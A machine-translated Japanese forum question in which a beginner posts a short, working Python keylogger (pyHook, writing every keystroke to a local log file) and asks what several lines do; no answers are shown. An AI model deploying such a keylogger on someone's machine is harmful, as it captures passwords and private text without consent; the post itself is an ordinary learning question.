1

非常に単純なキーロガーをプログラムするこのビデオに出くわしました。 https://www.youtube.com/watch?v=8BiOPBsXh0g

私はプログラムを動作させましたが、ビデオは私のような初心者にとってコード行を説明するのに十分ではありません. 誰かがコード行のいくつかが何をするかを理解するのを手伝ってくれますか?

import pyHook, pythoncom, sys, logging

file_log = 'C:\\important\\log.txt'

def OnKeyboardEvent(event):
    logging.basicConfig(filename = file_log, level = logging.DEBUG, format = '(messages)')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

質問:

  1. level = logging.DEBUG は何をしますか?

  2. イベントとは具体的に何ですか?行 event.Ascii を行うにはどうすればよいですか?

  3. logging.log 関数のパラメーターに渡される 10 は何をしますか?

  4. hooks_manager.Keydown = OnKeyboardEvent はどのように機能しますか? OnKeyboardEvent は関数だと思っていましたが、どのようにそれ自体を別の関数と同一視しているのでしょうか?

4

0 に答える 0